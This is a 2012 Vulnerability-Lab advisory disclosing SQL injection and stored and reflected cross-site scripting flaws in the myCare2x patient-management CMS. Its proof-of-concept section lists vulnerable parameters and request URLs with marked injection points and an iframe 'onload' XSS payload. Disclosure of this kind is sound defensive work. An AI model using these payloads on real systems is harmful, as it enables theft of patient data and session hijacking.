258 lines
No EOL
9.8 KiB
Text
258 lines
No EOL
9.8 KiB
Text
Title:
|
|
======
|
|
myCare2x CMS - Multiple Web Vulnerabilities
|
|
|
|
|
|
Date:
|
|
=====
|
|
2012-05-03
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=524
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
524
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
myCare2x is an web application. All program modules and data accesses are processed in the server.
|
|
User only need a web browser, in order to use the myCare2x functions, so extensions or changes on
|
|
the modules need no interferences at the clients.
|
|
|
|
- Apache HTTPD Server
|
|
- MySQL Database
|
|
- PHP
|
|
|
|
The spirit of Open Source also takes effect on implemented server software. myCare2x is based upon
|
|
External linkApache as HTTP server and External linkMySQL as database management system. myCare2x is
|
|
written in External linkPHP - an easy to learn and powerful scripting language.
|
|
|
|
(Copy of the Vendor Homepage: http://mycare2x.net/en/solution )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
The Vulnerability Laboratory Researcher Team discovered multiple web vulnerabilities in myCare v2x CMS.
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2012-05-03: Public or Non-Public Disclosure
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
Critical
|
|
|
|
|
|
Details:
|
|
========
|
|
1.1
|
|
Multiple remote SQL Injection vulnerabilities are detected in myCare2x Content Management System.
|
|
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
|
|
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
|
|
The vulnerability is located on the username post method.
|
|
|
|
Vulnerable Module(s):
|
|
[+] &aktion + &callurl
|
|
[+] dept_nr
|
|
[+] pid
|
|
[+] Eintrag
|
|
[+] name_last
|
|
|
|
|
|
Picture(s):
|
|
../1.png
|
|
../2.png
|
|
|
|
1.2
|
|
Multiple persistent input validation vulnerabilities are detected in myCare2x Content Management System.
|
|
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
|
|
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
|
|
context manipulation. Exploitation requires low user inter action.
|
|
|
|
|
|
Vulnerable Module(s):
|
|
[+] New Person - Insert new Person - Firstname, Lastname & Nickname
|
|
[-] Index - Listing (index.php - Search Results - Name (middle) + Person Data
|
|
Listing (right))
|
|
|
|
|
|
|
|
Picture(s):
|
|
../3.png
|
|
../4.png
|
|
|
|
|
|
1.3
|
|
Multiple non persistent cross site scripting vulnerabilities are detected in myCare2x Content Management System.
|
|
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required
|
|
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing
|
|
& client-side content request manipulation.
|
|
|
|
|
|
Vulnerable Module(s):
|
|
[+] mycare_ward_print - Favorite
|
|
[+] mycare2x_pat_info - Aktion
|
|
[+] mycare2x_proc_search - LN
|
|
[+] zusatzcode
|
|
|
|
|
|
Picture(s):
|
|
../5.png
|
|
../6.png
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
1.1
|
|
The SQL Injection vulnerabilities can be exploited by remote attacker without user inter action.
|
|
For demonstration or reproduce ...
|
|
|
|
|
|
PoC:
|
|
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4leasdpvcl7qi56&lang=-1%27&aktion=-1%27[SQL-Injection!]
|
|
&callurl=-1%27[SQL-Injection!]&myPid=403
|
|
|
|
http://127.0.0.1/modules/importer/mycare2x_importer.php?sid=6dlskul290sc3dg2ab0mlpa0a3&lang=de&fid=800000101&pid=596&dept_nr=-1%27[SQL-Injection!]
|
|
http://127.0.0.1/modules/importer/mycare2x_importer.php?sid=6dlskul290sc3dg2ab0mlpa0a3&lang=de&fid=800000101&pid=-1%27[SQL-Injection!]&dept_nr=11
|
|
|
|
http://127.0.0.1/modules/drg/mycare2x_proc_search.php?myAction=Suchen&myOpsEintrag=-
|
|
|
|
1%27[SQL-Injection!&val=&itemx=&mode=&sid=moq09jafqbl4ledgppvcl7qi56&lang=de&pn=100224&opnr=&ln=Gexxxn&fn=Brxo&bd=&dept_nr=&oprm=&display=
|
|
&group_nr=&edit=1&icdtype=&y=&m=&d=&zusatzcode=&keyword=[SQL-Injection!]
|
|
|
|
http://127.0.0.1/modules/patient/mycare_pid.php?pid=&ext_pid=&date_reg=&pat_type=Self&panel=1&title1=&title=&name_last=-
|
|
|
|
1%27[SQL-Injection!&name_first=&name_middle=&name_maiden=&name_others=&extern_access=&date_birth=&sex1=m&sex=m&civil_status1=&
|
|
civil_status=&scitizenship=...&citizenship=&sreligion=...&religion=&sethnic_orig=..ðnic_orig=&addr_str=&addr_str_nr=&addr_zip=
|
|
&addr_town=&addr_citytown=&addr_citytown_nr=&nat_id_nr=DE&country_state=&phone_1_code=&phone_1
|
|
|
|
_nr=&phone_2_code=&phone_2_nr=&cellphone_1_nr=&cellphone_2_nr=&fax=&email=&insurance_name=&insurance_instnr=
|
|
&insurance_vknr=&insurance_nr=&insurance_state=&insurance_state1=&insurance_card_expire=&sid=moq09jafqbl4ledgppvcl7qi56&lang=
|
|
en&myAction=&myFind=Find&myselectnr=&insurance_id=&nr=&edit=1&ref=&is_addon=&preselected_city=&i_acti
|
|
|
|
ve=0&i_max=2&activ_tab_id=0&recognition=&smartcard=&smartcarddata=
|
|
|
|
http://127.0.0.1/modules/patient/mycare_pid.php?pid=[SQL-Injection!]
|
|
|
|
|
|
1.2
|
|
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required
|
|
user inter action. For demonstration or reproduce ...
|
|
|
|
Affected: index.php - Search Results - Name (middle) + Person Data Listing (right)
|
|
|
|
Review: User/Person Listing
|
|
|
|
<h2><img src="../../gui/img/common/default/ppd_case.gif">829:
|
|
"><iframe src="a" onload='alert("VL")' <,="" "=""><iframe src=a onload=alert("VL") <<
|
|
|
|
URL: http://127.0.0.1/modules/patient/mycare_pid.php?pid=&ext_pid=&date_reg=2012-04-19+06%3A00%3A00&pat_type=
|
|
Self&panel=1&title1=&title=&name_last=%22%3E
|
|
|
|
%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C&name_first=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%
|
|
3C&name_middle=%22%3E%3Ciframe+src%3Da+onload
|
|
|
|
%3Dalert%28%22VL%22%29+%3C&name_maiden=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+
|
|
|
|
%3C&name_others=&extern_access=&date_birth=&sex1=m&sex=m&civil_status1=&civil_status=&scitizenship=...&citizenship=&s
|
|
religion=...&religion=&sethnic_orig=..ðnic_orig
|
|
|
|
=&addr_str=&addr_str_nr=&addr_zip=&addr_town=&addr_citytown=&addr_citytown_nr=&nat_id_nr=DE&country_state=&phone_1_code=
|
|
&phone_1_nr=&phone_2_code=&phone_2_nr=&cellphon
|
|
|
|
e_1_nr=&cellphone_2_nr=&fax=&email=&insurance_name=&insurance_instnr=&insurance_vknr=&insurance_nr=&insurance_state=&insurance_state1=
|
|
&insurance_card_expire=&sid=moq09
|
|
|
|
jafqbl4ledgppvcl7qi56&lang=en&myAction=Save&myFind=Find&myselectnr=&insurance_id=&nr=&edit=1&ref=&is_addon=&preselected_city=
|
|
&i_active=0&i_max=2&activ_tab_id=0&recogni
|
|
|
|
tion=&smartcard=&smartcarddata=
|
|
|
|
|
|
|
|
1.3
|
|
The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required
|
|
user inter action. For demonstration or reproduce ...
|
|
|
|
http://127.0.0.1/modules/nursing/mycare_ward_print.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&favorites=[Cross Site
|
|
Scripting!]
|
|
http://127.0.0.1/modules/nursing/mycare_ward_print.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=[Cross Site
|
|
Scripting!]&favorites=[Cross Site Scripting!]
|
|
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&aktion=[Cross Site
|
|
Scripting!]&callurl=topwin&myPid=403
|
|
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&aktion=|PRI|AVE|FLB|&callurl=[Cross
|
|
Site Scripting!]&myPid=403
|
|
|
|
http://127.0.0.1/modules/drg/mycare2x_proc_search.phpmyAction=Suchen&myOpsEintrag=1
|
|
&val=&itemx=&mode=&sid=moq09jafqbl4ledgppvcl7qi56&lang=de&pn=100224&opnr=&ln=[Cross Site
|
|
Scripting!]&fn=Brxo&bd=&dept_nr=&oprm=&display=&group_nr=&edit=1&icdtype=&y=&m=&d=&zusatzcode=&keyword=2
|
|
|
|
|
|
Risk:
|
|
=====
|
|
1.1
|
|
The security risk of the remote sql injection vulnerabilities are estimated as critical.
|
|
|
|
1.2
|
|
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
|
|
|
|
1.3
|
|
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+).
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (storm () vulnerability-lab com)
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () vulnerability-lab com)
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all
|
|
warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose.
|
|
Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss
|
|
of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such
|
|
damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
|
|
limitation
|
|
may not apply.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com
|
|
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
|
Contact: admin () vulnerability-lab com - support () vulnerability-lab com - irc.vulnerability-lab.com
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability
|
|
Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the
|
|
use of
|
|
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.
|
|
|
|
Copyright © 2012 Vulnerability-Lab
|
|
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY RESEARCH LABORATORY TEAM
|
|
Website: www.vulnerability-lab.com
|
|
Mail: research () vulnerability-lab com |